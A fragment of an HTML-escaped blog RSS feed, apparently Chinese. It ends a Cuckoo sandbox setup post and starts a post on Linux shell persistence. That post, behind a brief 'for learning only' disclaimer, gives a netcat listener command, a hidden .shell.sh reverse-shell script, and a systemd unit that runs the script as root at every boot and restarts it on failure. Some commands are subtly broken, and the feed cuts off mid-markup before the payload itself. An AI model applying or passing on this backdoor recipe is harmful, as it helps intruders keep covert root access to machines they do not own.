--tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;终端1在非root用户下执行 &lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;cuckoo&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;/code&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;终端2在非root用户下执行启动web界面&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;cuckoo&amp;nbsp;web&amp;nbsp;runserver&amp;nbsp;0.0.0.0:8000&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;启动成功：&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747035315315465.png&quot; alt=&quot;image.png&quot; width=&quot;693&quot; height=&quot;242&quot; style=&quot;width: 693px; height: 242px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747035624996566.png&quot; alt=&quot;image.png&quot; width=&quot;729&quot; height=&quot;393&quot; style=&quot;width: 729px; height: 393px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747035741498349.png&quot; alt=&quot;image.png&quot; width=&quot;684&quot; height=&quot;342&quot; style=&quot;width: 684px; height: 342px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505161747373017904865.png&quot; alt=&quot;image.png&quot; width=&quot;670&quot; height=&quot;366&quot; style=&quot;width: 670px; height: 366px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505161747373104342857.png&quot; alt=&quot;image.png&quot; width=&quot;689&quot; height=&quot;398&quot; style=&quot;width: 689px; height: 398px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505161747373160401200.png&quot; alt=&quot;image.png&quot; width=&quot;688&quot; height=&quot;353&quot; style=&quot;width: 688px; height: 353px;&quot;/&gt;&lt;/code&gt;&lt;/p&gt;</description><pubDate>Sun, 11 May 2025 21:41:58 +0800</pubDate></item><item><title>linux shell持久化</title><link>https://www.yuyuxiang.top/?id=8</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505081746689599452754.jpg&quot; title=&quot;preview.jpg&quot; alt=&quot;preview.jpg&quot; width=&quot;867&quot; height=&quot;673&quot; style=&quot;width: 867px; height: 673px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;此文章只用于学习交流，&lt;span style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid #E5E7EB; font-weight: bolder; font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;未经授权&lt;/span&gt;进行进行违法行为&lt;/p&gt;&lt;p&gt;监听服务器开启端口监听&amp;nbsp;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;nc&amp;nbsp;-lvnp&amp;nbsp;&amp;lt;端口&amp;gt;&lt;/pre&gt;&lt;p&gt;被监听机器设置反弹shell脚本开机自启&lt;/p&gt;&lt;p&gt;新建&amp;nbsp; .shell.sh 为隐藏文件&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;mkdir&amp;nbsp;.shell.sh
chmod&amp;nbsp;700&amp;nbsp;,shell.sh&lt;/pre&gt;&lt;p&gt;创建开机启动脚本&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vi&amp;nbsp;/etc/systemd/system/rqjc_shell.service

[Unit]
Description=RQJC&amp;nbsp;Custom&amp;nbsp;Shell&amp;nbsp;Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash&amp;nbsp;/root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

:wq&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;chmod&amp;nbsp;644&amp;nbsp;/etc/systemd/system/rqjc_shell.service
sudo&amp;nbsp;systemctl&amp;nbsp;start&amp;nbsp;rqjc_shell&lt;/pre&gt;&lt;p&gt;测试开机自启是否已经设置成功&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;is-enabled&amp;nbsp;rqjc_shell&lt;/pre&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid #E5E7EB; font-weight: bolder;&quot;&gt;正常返回&lt;/span&gt;：&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: 